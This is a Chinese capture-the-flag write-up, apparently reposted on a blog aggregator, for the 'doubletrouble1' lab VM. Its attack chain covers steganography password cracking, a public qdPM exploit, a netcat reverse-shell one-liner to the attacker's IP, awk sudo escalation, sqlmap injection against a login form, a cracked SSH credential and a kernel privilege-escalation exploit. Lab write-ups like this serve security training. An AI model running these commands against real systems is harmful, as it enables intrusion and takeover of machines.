doubletrouble1靶场详解

news2024/11/24 8:01:01

doubletrouble1靶场复盘

首先扫描到ip后对ip单独一个全面扫描。

nmap -sP 192.168.102.0/24

image-20230712165724900

同时扫描一下目录,扫到一个secret,打开看一下。

dirsearch -u http://192.168.102.165

image-20230712165415876

发现里面是一个图片,下载到我们kali 中去,因为都说了是秘密,所以这个图片肯定有点问题。

用binwalk没有发现里面有啥东西

wget http://192.168.102.165/secret/doubletrouble.jpg

image-20230712144250825

但是steghide发现里面隐写了东西,因为需要输入密码,所以里面肯定是有东西的。

image-20230712144336873

我们可以直接利用kali自带的这个工具爆破一下,但是太慢了

stegcracker 图片地址 字典地址

dpkg -i stegseek_0.6-1.deb         

在github上找到一个工具叫做stegseek说是全世界最快的爆破工具,下载到kali中安装一下。

stegseek 图片地址 字典地址

image-20230712145225399

一瞬间就跑出来密码了。

image-20230712145537599

我们解密一下发现里面是一个txt,txt中是一个邮箱和密码。

image-20230712145747824

我们的主页面但是我们发现是用的一个qdPM 9.1的CMS。

image-20230712150204367

搜索了一下发现果真有这个的漏洞。

image-20230712150804489

下载到kali中运行发现需要三个参数,地址,邮箱和密码,我们刚好利用刚才找到的用户名密码。

image-20230712150741022

直接往里面注入了一个cmd,我们可以直接做一个反弹shell

nc -e /bin/bash 192.168.102.129 8888

image-20230712151301917

image-20230712151520902

image-20230712151530676

拿到shell以后sudo -l发现简直白送,我们awk提权直接拿到root

image-20230712151746642

本来以为直接结束了,看看flag吧,但是没想到还有一个ova

image-20230712152842393

我们拷贝出来,然后安装到虚拟机。

scp root@192.168.102.165:/root/doubletrouble.ova /root

image-20230712152949408

安装好后我也没扫描ip,刚才的ip是165,这个肯定是166.

发现有一个登陆页面,用bp抓包看看,发现是post请求。

image-20230712153615912

把抓到的内容复制到一个空文档中去,用sqlmap跑一下,这里面的内容不能修改,空行也不可以删除,会出错。

发现是有数据库的。

POST /index.php HTTP/1.1
Host: 192.168.102.166
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.102.166
Connection: close
Referer: http://192.168.102.166/
Upgrade-Insecure-Requests: 1

uname=1&psw=1&btnLogin=Login

image-20230712154236481

再查找一下数据库中的表,发现一个users表。

image-20230712154427066

显示出里面的列,一个username和password两个属性。

image-20230712154737571

我们查看一下里面的内容,发现有两个用户。

image-20230712155318111

尝试了一下clapton用户可以ssh登陆。

user:clapton    pass:ZubZub99

以前见过exim4提权,但是发现在这里行不通,就查看了一下内核。

image-20230712155658312

image-20230712162645849

搜索了一下有没有漏洞,结果发现一大堆漏洞,直接内核提权,我下载的是40616.c这个。

searchsploit linux 3.2

image-20230712163704366

下载到我们靶机中去。

image-20230712163906873

加个权限,然后gcc编译一下,执行就root了

image-20230712164928224

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/745171.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于E-PGM+ 烧录器烧录失败的原因分析

最近在调试A96L416方案的一款产品,发现有时候无法烧录成功,当然多数时候你可以通过: 1.多试几次 2.替换烧录线 3. 替换烧录器 予以解决。 但我试了上述方法发现问题依旧,该设备A之前还烧录过,所以我并没有怀疑设…

C#基础学习_集合中对象的排序

C#基础学习_集合中对象的排序 基本数据类型的排序: 集合名.Sort(); //通过Sort方法进行排序,默认按照英文的字母先后顺序集合名.Reverse(); //通过Reverse方法进行排序,按照英文字母倒序进行排列对象类型的元素排序: 因为对象有若干个属性,所以执行排序时应该指定按照哪一…

海康摄像头开发笔记(一):连接防爆摄像头、配置摄像头网段、设置rtsp码流、播放rtsp流、获取rtsp流、调优rtsp流播放延迟以及录像存储

文为原创文章,转载请注明原文出处 本文章博客地址:https://hpzwl.blog.csdn.net/article/details/131679108 红胖子(红模仿)的博文大全:开发技术集合(包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬结…

c++方向服务器开发和数据库哪个更好?

选择C方向的服务器开发还是数据库开发,取决于你的兴趣、职业目标以及行业需求。以下是一些考虑因素: 我这里刚好有嵌入式、单片机、plc的资料需要可以私我或在评论区扣个6 服务器开发: 兴趣和技能:如果你对网络编程、分布式系统…

【万字解析】JS逆向由浅到深,3个案例由简到难,由练手到项目解析(代码都附详细注释)

目录 介绍简单案例简单案例二项目实战案例-某查查 介绍 大家好,我是辣条哥! 今天给大家上点难度,不然总觉得辣条哥太菜了!我们今天聊聊JS逆向,首先JS逆向是指对使用JavaScript编写的代码进行逆向工程,以获…

JAVA数据结构—飞机售票系统

飞机售票系统 1. 题目要求: 1.1 通过该系统可以实现如下功能。 录入功能:可以录入航班情况。 查询功能:可以查询某个航线的情况,如输入航班号,可以查询起降时间、起飞抵达城市、航班票价、票价折扣、确定航班是否满…

我爱学QT-QT上位机开发之串口助手-上

学习链接: QT上位机开发之串口助手(上)_哔哩哔哩_bilibili 一.QT下的串口编程 1.qt下的串口编程 2.qt下的网络编程 3.qt下操作GPIO 二.仿写串口助手 步骤一.做好UI界面 接收窗口组件: 选择窗口组件: 发送窗口组…

如何在Linux下搭建接口自动化测试平台

📌 博客主页: 程序员念姐 📌 专注于软件测试领域相关技术实践和思考,持续分享自动化软件测试开发干货知识! 📌 如果你也想学习软件测试,文末卡片有我的交流群632880530,加入我们&…

【淘宝API接口开发系列】商品页面数据,接口可高并发,Python语言请求示例,其他语言请求示例可进参考

首先以taobao商品数据为例 item_get-获得taobao商品详情 taobao.item_get 公共参数 名称类型必须描述keyString是调用key(必须以GET方式拼接在URL中)注册Key和secret接入secretString是调用密钥api_nameString是API接口名称(包括在请求地址…

【软件测试】Windows下同一电脑配置多个Git公钥(详细)

目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 首先在配置多个本…

数据备份和还原的简单操作

两个表如图所示,完成一下操作 1、使用mysqldump命令备份数据库中的所有表 先创建存储数据的目录 使用mysqldump命令备份数据库中的所有表 去查看已经备份 2、备份booksDB数据库中的books表 备份数据库中的某些表,在库后面空格间隔 备份完毕 3、使用…

紫光展锐CEO任奇伟博士:用芯赋能,共建XR新生态

7月6日,2023世界人工智能大会在上海世博中心及世博展览馆盛大开幕。紫光集团高级副总裁、紫光展锐CEO任奇伟博士受邀出席芯片主题论坛,并发表题为《用芯赋能,共建XR新生态》的演讲。 世界人工智能大会自2018年创办以来已成功举办五届&#xf…

力扣332. 重新安排行程 Java dfs回溯

给你一份航线列表 tickets ,其中 tickets[i] [fromi, toi] 表示飞机出发和降落的机场地点。请你对该行程进行重新规划排序。 所有这些机票都属于一个从 JFK(肯尼迪国际机场)出发的先生,所以该行程必须从 JFK 开始。如果存在多种…

AutoDL使用教程

AutoDl是一个租用GPU显卡的平台,我们可以在上面租用显卡。我训练模型的时候租用了一块V100。 下面介绍一下使用AutoDL 来租用GPU显卡,并将自己的代码上传,运行代码。 目录: 创建实例配置环境 pytorch环境上传文件运行代码 一、…

DAY11_RequestResponse

目录 1 Request和Response的概述2 Request对象2.1 Request继承体系2.2 Request获取请求数据2.2.1 获取请求行数据2.2.2 获取请求头数据2.2.3 获取请求体数据2.2.4 获取请求参数的通用方式 2.3 IDEA快速创建Servlet2.4 请求参数中文乱码问题2.4.1 POST请求解决方案2.4.2 GET请求…

flutter图片添加水印

flutter为图片右下角添加上水印 //制造字符串水印图片_makeStrMarkImage(String str, double fontSize) async {final picRecorder ui.PictureRecorder();final paragraphBuilder ui.ParagraphBuilder(ui.ParagraphStyle(textAlign: TextAlign.left,fontSize: fontSize,),)…

C#winform电脑关机实例

本篇实例演示C#winform电脑关机 创建winform添加一个按钮 Cs文件代码 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Runtime.InteropServices; using System.T…

ThreadLocal学习

1、threadLocal图解 java.lang.ThreadLocal类实现了线程的本地存储。 ThreadLocal的内部实现: ThreadLocal的内部实现包括一个类似HashMap的对象,这里称之ThreadLocalMap。 ThreadLocalMap的key会持有对ThreadLocal实例的弱引用(Weak Refer…

Perfectly Clear Workbench for Mac/Windows(智能图像清晰度处理软件)

Perfectly Clear Workbench是一款用于图像处理和修复的软件工具,它提供了一套强大的功能,旨在自动优化照片质量并消除常见的图像缺陷。这个工作台是Perfectly Clear家族的一部分,由Athentech Imaging开发和维护。 Perfectly Clear Workbench…

第一章:光纤通信概述

第一节:通信基本概念 1.1光纤通信基本概念 1.1.1光纤通信的概念 利用光导纤维传输广播信号的通信方式称为光纤通信。光波主要包括紫外线、可见光和红外线。光纤通信工作波长在近红外区,0.8um~1.8um的波长区,频率为167THz~375THz。光纤基础…